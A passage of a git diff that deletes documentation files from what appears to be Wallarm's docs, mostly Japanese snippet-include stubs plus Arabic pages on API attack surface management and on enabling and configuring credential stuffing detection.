b/docs/ja/updating-migrating/sidecar-proxy.md deleted file mode 100644 index 97f7195c53..0000000000 --- a/docs/ja/updating-migrating/sidecar-proxy.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/sidecar-proxy.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/versioning-policy.md b/docs/ja/updating-migrating/versioning-policy.md deleted file mode 100644 index 2b6a05ddf1..0000000000 --- a/docs/ja/updating-migrating/versioning-policy.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/versioning-policy.md" \ No newline at end of file diff --git a/docs/ja/updating-migrating/what-is-new.md b/docs/ja/updating-migrating/what-is-new.md deleted file mode 100644 index a64cf7d1d6..0000000000 --- a/docs/ja/updating-migrating/what-is-new.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/updating-migrating/what-is-new.md" \ No newline at end of file diff --git a/docs/ja/user-guides/dashboards/api-discovery.md b/docs/ja/user-guides/dashboards/api-discovery.md deleted file mode 100644 index a929a1ef83..0000000000 --- a/docs/ja/user-guides/dashboards/api-discovery.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ja/user-guides/dashboards/api-discovery.md" \ No newline at end of file diff --git a/docs/ja/user-guides/dashboards/bi-dashboards.md b/docs/ja/user-guides/dashboards/bi-dashboards.md deleted file mode 100644 index 676a898f8b..0000000000 --- a/docs/ja/user-guides/dashboards/bi-dashboards.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/dashboards/bi-dashboards.md" \ No newline at end of file diff --git a/docs/ja/user-guides/dashboards/owasp-api-top-ten.md b/docs/ja/user-guides/dashboards/owasp-api-top-ten.md deleted file mode 100644 index b5d56d6ef2..0000000000 --- a/docs/ja/user-guides/dashboards/owasp-api-top-ten.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/dashboards/owasp-api-top-ten.md" \ No newline at end of file diff --git a/docs/ja/user-guides/dashboards/threat-prevention.md b/docs/ja/user-guides/dashboards/threat-prevention.md deleted file mode 100644 index 51e19eef1a..0000000000 --- a/docs/ja/user-guides/dashboards/threat-prevention.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/dashboards/threat-prevention.md" \ No newline at end of file diff --git a/docs/ja/user-guides/events/check-attack.md b/docs/ja/user-guides/events/check-attack.md deleted file mode 100644 index 1b3775003f..0000000000 --- a/docs/ja/user-guides/events/check-attack.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/events/check-attack.md" \ No newline at end of file diff --git a/docs/ja/user-guides/events/check-incident.md b/docs/ja/user-guides/events/check-incident.md deleted file mode 100644 index dec245c1a0..0000000000 --- a/docs/ja/user-guides/events/check-incident.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/events/check-incident.md" \ No newline at end of file diff --git a/docs/ja/user-guides/events/grouping-sampling.md b/docs/ja/user-guides/events/grouping-sampling.md deleted file mode 100644 index 640626fd75..0000000000 --- a/docs/ja/user-guides/events/grouping-sampling.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/events/grouping-sampling.md" \ No newline at end of file diff --git a/docs/ja/user-guides/events/overview.md b/docs/ja/user-guides/events/overview.md deleted file mode 100644 index 448df5a8d7..0000000000 --- a/docs/ja/user-guides/events/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/events/overview.md" \ No newline at end of file diff --git a/docs/ja/user-guides/ip-lists/overview.md b/docs/ja/user-guides/ip-lists/overview.md deleted file mode 100644 index 9436e4b0bf..0000000000 --- a/docs/ja/user-guides/ip-lists/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/ip-lists/overview.md" \ No newline at end of file diff --git a/docs/ja/user-guides/nodes/nodes.md b/docs/ja/user-guides/nodes/nodes.md deleted file mode 100644 index 842a6db658..0000000000 --- a/docs/ja/user-guides/nodes/nodes.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/nodes/nodes.md" \ No newline at end of file diff --git a/docs/ja/user-guides/rules/add-replace-response-header.md b/docs/ja/user-guides/rules/add-replace-response-header.md deleted file mode 100644 index 7d382ae799..0000000000 --- a/docs/ja/user-guides/rules/add-replace-response-header.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/rules/add-replace-response-header.md" \ No newline at end of file diff --git a/docs/ja/user-guides/rules/configure-overlimit-res-detection.md b/docs/ja/user-guides/rules/configure-overlimit-res-detection.md deleted file mode 100644 index 6b5f9dd770..0000000000 --- a/docs/ja/user-guides/rules/configure-overlimit-res-detection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/rules/configure-overlimit-res-detection.md" \ No newline at end of file diff --git a/docs/ja/user-guides/rules/rate-limiting.md b/docs/ja/user-guides/rules/rate-limiting.md deleted file mode 100644 index 7ce08fae49..0000000000 --- a/docs/ja/user-guides/rules/rate-limiting.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/rules/rate-limiting.md" \ No newline at end of file diff --git a/docs/ja/user-guides/rules/regex-rule.md b/docs/ja/user-guides/rules/regex-rule.md deleted file mode 100644 index 140dad047e..0000000000 --- a/docs/ja/user-guides/rules/regex-rule.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/rules/regex-rule.md" \ No newline at end of file diff --git a/docs/ja/user-guides/rules/request-processing.md b/docs/ja/user-guides/rules/request-processing.md deleted file mode 100644 index 77c7f33c31..0000000000 --- a/docs/ja/user-guides/rules/request-processing.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/rules/request-processing.md" \ No newline at end of file diff --git a/docs/ja/user-guides/rules/rules.md b/docs/ja/user-guides/rules/rules.md deleted file mode 100644 index 08d823186d..0000000000 --- a/docs/ja/user-guides/rules/rules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/rules/rules.md" \ No newline at end of file diff --git a/docs/ja/user-guides/rules/sensitive-data-rule.md b/docs/ja/user-guides/rules/sensitive-data-rule.md deleted file mode 100644 index 9e98bcac58..0000000000 --- a/docs/ja/user-guides/rules/sensitive-data-rule.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/rules/sensitive-data-rule.md" \ No newline at end of file diff --git a/docs/ja/user-guides/rules/vpatch-rule.md b/docs/ja/user-guides/rules/vpatch-rule.md deleted file mode 100644 index 9cd99dcae3..0000000000 --- a/docs/ja/user-guides/rules/vpatch-rule.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/rules/vpatch-rule.md" \ No newline at end of file diff --git a/docs/ja/user-guides/search-and-filters/custom-report.md b/docs/ja/user-guides/search-and-filters/custom-report.md deleted file mode 100644 index ecc96ad38e..0000000000 --- a/docs/ja/user-guides/search-and-filters/custom-report.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/search-and-filters/custom-report.md" \ No newline at end of file diff --git a/docs/ja/user-guides/search-and-filters/use-search-vuln.md b/docs/ja/user-guides/search-and-filters/use-search-vuln.md deleted file mode 100644 index a028c00b6a..0000000000 --- a/docs/ja/user-guides/search-and-filters/use-search-vuln.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/search-and-filters/use-search-vuln.md" \ No newline at end of file diff --git a/docs/ja/user-guides/search-and-filters/use-search.md b/docs/ja/user-guides/search-and-filters/use-search.md deleted file mode 100644 index 27aa9c4efc..0000000000 --- a/docs/ja/user-guides/search-and-filters/use-search.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/search-and-filters/use-search.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/account.md b/docs/ja/user-guides/settings/account.md deleted file mode 100644 index 2a234af5ce..0000000000 --- a/docs/ja/user-guides/settings/account.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/account.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/api-tokens.md b/docs/ja/user-guides/settings/api-tokens.md deleted file mode 100644 index 422b82f76b..0000000000 --- a/docs/ja/user-guides/settings/api-tokens.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/api-tokens.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/applications.md b/docs/ja/user-guides/settings/applications.md deleted file mode 100644 index 1fdbfb738f..0000000000 --- a/docs/ja/user-guides/settings/applications.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/applications.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/audit-log.md b/docs/ja/user-guides/settings/audit-log.md deleted file mode 100644 index cab6c97995..0000000000 --- a/docs/ja/user-guides/settings/audit-log.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/audit-log.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/amazon-s3.md b/docs/ja/user-guides/settings/integrations/amazon-s3.md deleted file mode 100644 index 690d098660..0000000000 --- a/docs/ja/user-guides/settings/integrations/amazon-s3.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/amazon-s3.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/azure-sentinel.md b/docs/ja/user-guides/settings/integrations/azure-sentinel.md deleted file mode 100644 index 45ee796623..0000000000 --- a/docs/ja/user-guides/settings/integrations/azure-sentinel.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/azure-sentinel.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/datadog.md b/docs/ja/user-guides/settings/integrations/datadog.md deleted file mode 100644 index d513ef6a2d..0000000000 --- a/docs/ja/user-guides/settings/integrations/datadog.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/datadog.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/email.md b/docs/ja/user-guides/settings/integrations/email.md deleted file mode 100644 index 3c2c8bb03d..0000000000 --- a/docs/ja/user-guides/settings/integrations/email.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/email.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/fluentd.md b/docs/ja/user-guides/settings/integrations/fluentd.md deleted file mode 100644 index 6a8fad0f3d..0000000000 --- a/docs/ja/user-guides/settings/integrations/fluentd.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/fluentd.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/insightconnect.md b/docs/ja/user-guides/settings/integrations/insightconnect.md deleted file mode 100644 index 772f399ae8..0000000000 --- a/docs/ja/user-guides/settings/integrations/insightconnect.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/insightconnect.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/integrations-intro.md b/docs/ja/user-guides/settings/integrations/integrations-intro.md deleted file mode 100644 index c207a208f6..0000000000 --- a/docs/ja/user-guides/settings/integrations/integrations-intro.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/integrations-intro.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/jira.md b/docs/ja/user-guides/settings/integrations/jira.md deleted file mode 100644 index 571cfcf8f0..0000000000 --- a/docs/ja/user-guides/settings/integrations/jira.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/jira.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/logstash.md b/docs/ja/user-guides/settings/integrations/logstash.md deleted file mode 100644 index 63bc62b717..0000000000 --- a/docs/ja/user-guides/settings/integrations/logstash.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/logstash.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/microsoft-teams.md b/docs/ja/user-guides/settings/integrations/microsoft-teams.md deleted file mode 100644 index 4f4bf6b52c..0000000000 --- a/docs/ja/user-guides/settings/integrations/microsoft-teams.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/microsoft-teams.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/minio.md b/docs/ja/user-guides/settings/integrations/minio.md deleted file mode 100644 index 751b1cd24f..0000000000 --- a/docs/ja/user-guides/settings/integrations/minio.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/user-guides/settings/integrations/minio.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/opsgenie.md b/docs/ja/user-guides/settings/integrations/opsgenie.md deleted file mode 100644 index 66ec01ab88..0000000000 --- a/docs/ja/user-guides/settings/integrations/opsgenie.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/opsgenie.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/pagerduty.md b/docs/ja/user-guides/settings/integrations/pagerduty.md deleted file mode 100644 index d606ff6517..0000000000 --- a/docs/ja/user-guides/settings/integrations/pagerduty.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/pagerduty.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/servicenow.md b/docs/ja/user-guides/settings/integrations/servicenow.md deleted file mode 100644 index 333918c45d..0000000000 --- a/docs/ja/user-guides/settings/integrations/servicenow.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/servicenow.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/slack.md b/docs/ja/user-guides/settings/integrations/slack.md deleted file mode 100644 index 6cb3689006..0000000000 --- a/docs/ja/user-guides/settings/integrations/slack.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/slack.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/splunk.md b/docs/ja/user-guides/settings/integrations/splunk.md deleted file mode 100644 index e67236286c..0000000000 --- a/docs/ja/user-guides/settings/integrations/splunk.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/splunk.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/sumologic.md b/docs/ja/user-guides/settings/integrations/sumologic.md deleted file mode 100644 index 6fb4aeb736..0000000000 --- a/docs/ja/user-guides/settings/integrations/sumologic.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/sumologic.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/telegram.md b/docs/ja/user-guides/settings/integrations/telegram.md deleted file mode 100644 index 0cea78281e..0000000000 --- a/docs/ja/user-guides/settings/integrations/telegram.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/telegram.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md b/docs/ja/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md deleted file mode 100644 index 59fb24cf62..0000000000 --- a/docs/ja/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/webhook-examples/fluentd-arcsight-logger.md" diff --git a/docs/ja/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md b/docs/ja/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md deleted file mode 100644 index 550e053431..0000000000 --- a/docs/ja/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/webhook-examples/fluentd-logstash-datadog.md" diff --git a/docs/ja/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md b/docs/ja/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md deleted file mode 100644 index c0b78592a8..0000000000 --- a/docs/ja/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/webhook-examples/fluentd-qradar.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md b/docs/ja/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md deleted file mode 100644 index e258255cf9..0000000000 --- a/docs/ja/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/webhook-examples/fluentd-splunk.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md b/docs/ja/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md deleted file mode 100644 index 624fe696da..0000000000 --- a/docs/ja/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md" diff --git a/docs/ja/user-guides/settings/integrations/webhook-examples/logstash-qradar.md b/docs/ja/user-guides/settings/integrations/webhook-examples/logstash-qradar.md deleted file mode 100644 index 5719daa099..0000000000 --- a/docs/ja/user-guides/settings/integrations/webhook-examples/logstash-qradar.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/webhook-examples/logstash-qradar.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/webhook-examples/logstash-splunk.md b/docs/ja/user-guides/settings/integrations/webhook-examples/logstash-splunk.md deleted file mode 100644 index 958ed3fa44..0000000000 --- a/docs/ja/user-guides/settings/integrations/webhook-examples/logstash-splunk.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/webhook-examples/logstash-splunk.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/integrations/webhook.md b/docs/ja/user-guides/settings/integrations/webhook.md deleted file mode 100644 index 4fe16802aa..0000000000 --- a/docs/ja/user-guides/settings/integrations/webhook.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/integrations/webhook.md" \ No newline at end of file diff --git a/docs/ja/user-guides/settings/users.md b/docs/ja/user-guides/settings/users.md deleted file mode 100644 index 77572e1be3..0000000000 --- a/docs/ja/user-guides/settings/users.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/settings/users.md" \ No newline at end of file diff --git a/docs/ja/user-guides/triggers/triggers.md b/docs/ja/user-guides/triggers/triggers.md deleted file mode 100644 index 811ea4bdae..0000000000 --- a/docs/ja/user-guides/triggers/triggers.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/triggers/triggers.md" \ No newline at end of file diff --git a/docs/ja/user-guides/vulnerabilities.md b/docs/ja/user-guides/vulnerabilities.md deleted file mode 100644 index 3cf7c5379d..0000000000 --- a/docs/ja/user-guides/vulnerabilities.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/user-guides/vulnerabilities.md" \ No newline at end of file diff --git a/docs/ja/vulnerability-detection/schema-based-testing/explore.md b/docs/ja/vulnerability-detection/schema-based-testing/explore.md deleted file mode 100644 index e7c6cff25c..0000000000 --- a/docs/ja/vulnerability-detection/schema-based-testing/explore.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/vulnerability-detection/schema-based-testing/explore.md" \ No newline at end of file diff --git a/docs/ja/vulnerability-detection/schema-based-testing/overview.md b/docs/ja/vulnerability-detection/schema-based-testing/overview.md deleted file mode 100644 index 7e0377ddd6..0000000000 --- a/docs/ja/vulnerability-detection/schema-based-testing/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/vulnerability-detection/schema-based-testing/overview.md" \ No newline at end of file diff --git a/docs/ja/vulnerability-detection/schema-based-testing/setup.md b/docs/ja/vulnerability-detection/schema-based-testing/setup.md deleted file mode 100644 index 6da7833765..0000000000 --- a/docs/ja/vulnerability-detection/schema-based-testing/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/vulnerability-detection/schema-based-testing/setup.md" \ No newline at end of file diff --git a/docs/ja/vulnerability-detection/security-testing-overview.md b/docs/ja/vulnerability-detection/security-testing-overview.md deleted file mode 100644 index 45a346bd4c..0000000000 --- a/docs/ja/vulnerability-detection/security-testing-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/vulnerability-detection/security-testing-overview.md" \ No newline at end of file diff --git a/docs/ja/vulnerability-detection/threat-replay-testing/exploring.md b/docs/ja/vulnerability-detection/threat-replay-testing/exploring.md deleted file mode 100644 index eea1ecc485..0000000000 --- a/docs/ja/vulnerability-detection/threat-replay-testing/exploring.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/vulnerability-detection/threat-replay-testing/exploring.md" \ No newline at end of file diff --git a/docs/ja/vulnerability-detection/threat-replay-testing/overview.md b/docs/ja/vulnerability-detection/threat-replay-testing/overview.md deleted file mode 100644 index f6e1412f10..0000000000 --- a/docs/ja/vulnerability-detection/threat-replay-testing/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/vulnerability-detection/threat-replay-testing/overview.md" \ No newline at end of file diff --git a/docs/ja/vulnerability-detection/threat-replay-testing/setup.md b/docs/ja/vulnerability-detection/threat-replay-testing/setup.md deleted file mode 100644 index 9168b49dce..0000000000 --- a/docs/ja/vulnerability-detection/threat-replay-testing/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ja/vulnerability-detection/threat-replay-testing/setup.md" \ No newline at end of file diff --git a/docs/latest-ar/about-wallarm/attack-surface.md b/docs/latest-ar/about-wallarm/attack-surface.md deleted file mode 100644 index bb169738c2..0000000000 --- a/docs/latest-ar/about-wallarm/attack-surface.md +++ /dev/null @@ -1,12 +0,0 @@ -# إدارة سطح الهجوم لواجهات برمجة التطبيقات - -**إدارة سطح الهجوم لواجهات برمجة التطبيقات** (**AASM**) في Wallarm هو مجموعة من القدرات التي تتيح للمؤسسات تعداد، تقييم، وإدارة السطح العام للهجوم الذي تقدمه واجهات برمجة التطبيقات الخاصة بهم. مع AASM، يمكن للمؤسسات السيطرة على المخاطر المجهولة سابقًا التي تأتي مع النمو في واجهات برمجة التطبيقات لتوصيل التطبيقات ودمجها، بما في ذلك تسريبات واجهات برمجة التطبيقات. - -![إدارة سطح الهجوم لواجهات برمجة التطبيقات](../images/about-wallarm-waf/api-attack-surface/api-attack-surface.png) - -حل إدارة سطح الهجوم لواجهات برمجة التطبيقات في Wallarm يشمل: - -* [اكتشاف الأصول المعرضة](../user-guides/scanner.md) - تحديد جميع الأصول وواجهات برمجة التطبيقات المتاحة للعامة. -* [كشف تسرب واجهات برمجة التطبيقات](../api-attack-surface/security-issues.md) - فحص المصادر العامة للبحث عن الرموز وبيانات الاعتماد المسربة. -* [تقييم ثغرات واجهات برمجة التطبيقات](../about-wallarm/detecting-vulnerabilities.md) - اكتشاف الثغرات والمشكلات الأمنية. -* [إدارة مخاطر واجهات برمجة التطبيقات](../user-guides/vulnerabilities.md) - التحكم في وتخفيف جميع المخاطر المتعلقة بواجهات برمجة التطبيقات التي تم تحديدها. \ No newline at end of file diff --git a/docs/latest-ar/about-wallarm/credential-stuffing.md b/docs/latest-ar/about-wallarm/credential-stuffing.md deleted file mode 100644 index 0917bfdbfa..0000000000 --- a/docs/latest-ar/about-wallarm/credential-stuffing.md +++ /dev/null @@ -1,151 +0,0 @@ -# كشف Credential Stuffing - -تعد [هجمات Credential Stuffing](../attacks-vulns-list.md#credential-stuffing) هي نوع من الهجمات الإلكترونية حيث يستخدم القراصنة قوائم من بيانات الاعتماد المستخدمين التي تم اختراقها للوصول غير المصرح به إلى حسابات المستخدمين على مواقع الويب العديدة.تشرح هذه المقالة كيفية كشف هذا النوع من التهديدات باستخدام **كشف Credential Stuffing** الخاص بـ Wallarm. - -تعد هجمات Credential Stuffing خطرة بسبب الممارسة الشائعة لإعادة استخدام أسماء المستخدمين وكلمات المرور المتطابقة عبر الخدمات المختلفة، بالإضافة إلى الاتجاه لاختيار كلمات مرور يسهل تخمينها (ضعيفة). تتطلب هجمة Credential Stuffing الناجحة محاولات أقل، لذا يمكن للمهاجمين إرسال طلبات بتكرار أقل، مما يجعل التدابير القياسية مثل حماية القوة الغاشمة غير فعالة. - -## كيف تعالج Wallarm مشكلة Credential Stuffing - -يقوم **كشف Credential Stuffing** الخاص بـ Wallarm بجمع وعرض معلومات فورية عن محاولات استخدام بيانات الاعتماد المخترقة أو الضعيفة للوصول إلى تطبيقاتك. كما يتيح إشعارات فورية عن هذه المحاولات ويقوم بتكوين قائمة قابلة للتنزيل تحتوي على جميع بيانات الاعتماد المخترقة أو الضعيفة التي توفر الوصول إلى تطبيقاتك. - -لتحديد كلمات المرور المخترقة والضعيفة، يستخدم Wallarm قاعدة بيانات شاملة تحتوي على أكثر من **850 مليون سجل** تم جمعها من قاعدة بيانات بيانات الاعتماد المخترقة العامة [HIBP](https://haveibeenpwned.com/). - -![مخطط Credential Stuffing](../images/about-wallarm-waf/credential-stuffing/credential-stuffing-schema.png) - -يحافظ كشف Credential Stuffing الخاص بـ Wallarm على أمان بيانات الاعتماد من خلال تطبيق سلسلة من الإجراءات التالية: - -1. عندما يصل الطلب إلى العقدة، ينشئ [SHA-1](https://en.wikipedia.org/wiki/SHA-1) من كلمة المرور ويُرسل عددًا من الأحرف إلى الCloud. -1. تتحقق السحابة من قاعدة بياناتها لكلمات المرور المعروفة أنها مُخترقة بحثًا عن تلك التي تبدأ بالأحرف المُستلمة. إذا تم العثور عليها، يتم إرسالها إلى العقدة في تنسيق SHA-1 المشفر، والعقدة تقارنها مع كلمة المرور من الطلب. -1. إذا كان المطابقة، تبلغ العقدة عن هجمة Credential Stuffing إلى السحابة، بما في ذلك تسجيل الدخول المأخوذ من الطلب لهذه معلومات الهجوم. -1. العقدة تُمرّر الطلب إلى التطبيق. - -بهذه الطريقة، لن يتم إرسال كلمات المرور من الأجهزة التي تحتوي على عقد Wallarm إلى سحابة Wallarm بدون تشفير. يتم إرسال بيانات الاعتماد بشكل منفصل، مما يضمن أن بقاء بيانات تفويض العملاء آمنة داخل شبكتك. - -**محاولات الجمعة والفردية** - -يستطيع كشف Credential Stuffing تسجيل محاولات جماعية كبيرة لاستخدام بيانات الاعتماد المُخترقة التي تم تنفيذها بواسطة البوتات وكذلك المحاولات الفردية التي لا يمكن الكشف عنها بواسطة وسائل أخرى. - -**تدابير التخفيف** - -يسمح لك معرفة الحسابات ذات كلمات المرور المسروقة أو الضعيفة باستثناء تدابير لحماية بيانات هذه الحسابات، مثل التواصل مع ملاك الحسابات، أو تعليق الوصول إلى الحسابات مؤقتًا، وما إلى ذلك. - -لا تحظر Wallarm الطلبات التي تحتوي على بيانات اعتماد مُخترقة لتجنب حظر المستخدمين الشرعيين حتى لو كانت كلمات مرورهم ضعيفة أو كانت مُخترقة. ومع ذلك، لاحظ أن يمكن حظر محاولات Credential Stuffing إذا: - -* كانت جزءًا من نشاط البوت الخبيث المكتشف وتم تمكين الوحدة النمطية [API Abuse Prevention](../api-abuse-prevention/overview.md). -* كانت جزءًا من الطلبات التي تحتوي على [علامات هجوم](../attacks-vulns-list.md) أخرى. - -## تمكين - -لتمكين **كشف Credential Stuffing** الخاص بـ Wallarm: - -1. تأكد من أن [خطة الاشتراك](../about-wallarm/subscription-plans.md#subscription-plans) الخاصة بك تتضمن **كشف Credential Stuffing**. لتغيير خطة الاشتراك، يرجى إرسال طلب إلى [sales@wallarm.com](mailto:sales@wallarm.com?subject=Change%20Wallarm%20subscription%20plan%20to%20include%20Credential%20Stuffing%20Detection&body=Hello%20Wallarm%20Sales%20Team%2C%0AI%27m%20writing%20to%20request%20the%20change%20of%20Wallarm%20subscription%20plan%20to%20the%20one%20that%20includes%20the%20Credential%20Stuffing%20Detection.%0AThank%20you%20for%20your%20time%20and%20assistance.). -1. تأكد من أن عقدة Wallarm الخاصة بك هي [الإصدار 4.10](../updating-migrating/what-is-new.md) أو أعلى، وتم تنشيطها باستخدام واحدة من ممتلكات البرنامج الفنية المحددة: - * [مثبت All-in-one](../installation/nginx/all-in-one.md) - * [رسم بياني Helm لوحدة تحكم Ingress المستندة إلى NGINX](../admin-en/installation-kubernetes-en.md) - * [صورة Docker المستندة إلى NGINX](../admin-en/installation-docker-en.md) - * [صورة الجهاز Amazon (AMI)](../installation/cloud-platforms/aws/ami.md) - * [صورة الجهاز Google Cloud](../installation/cloud-platforms/gcp/machine-image.md) -1. تحقق من أن [دور](../user-guides/settings/users.md#user-roles) المستخدم الخاص بك يسمح بتكوين **كشف Credential Stuffing**. -1. في واجهة Wallarm → **Credential Stuffing**, قم بتمكين الوظيفة (معطلة بشكل افتراضي). - -بمجرد تمكين **كشف Credential Stuffing** ، فإنه يحتاج إلى [تكوين](#configuring) لبدء العمل. - -## تكوين - -تحتاج لتشكيل قائمة نقاط النهاية للمصادقة ليتم التحقق من محاولات استخدام بيانات الاعتماد التي تم اختراقها. لتشكيل القائمة، انتقل إلى واجهة Wallarm → **Credential Stuffing**. - -![واجهة Wallarm - Credential Stuffing](../images/about-wallarm-waf/credential-stuffing/credential-stuffing.png) - -هناك طريقتين لإضافة نقاط النهاية إلى القائمة: - -* من قائمة **النقاط النهائية الموصى بها** التي تتضمن نوعين من العناصر: - - * القواعد 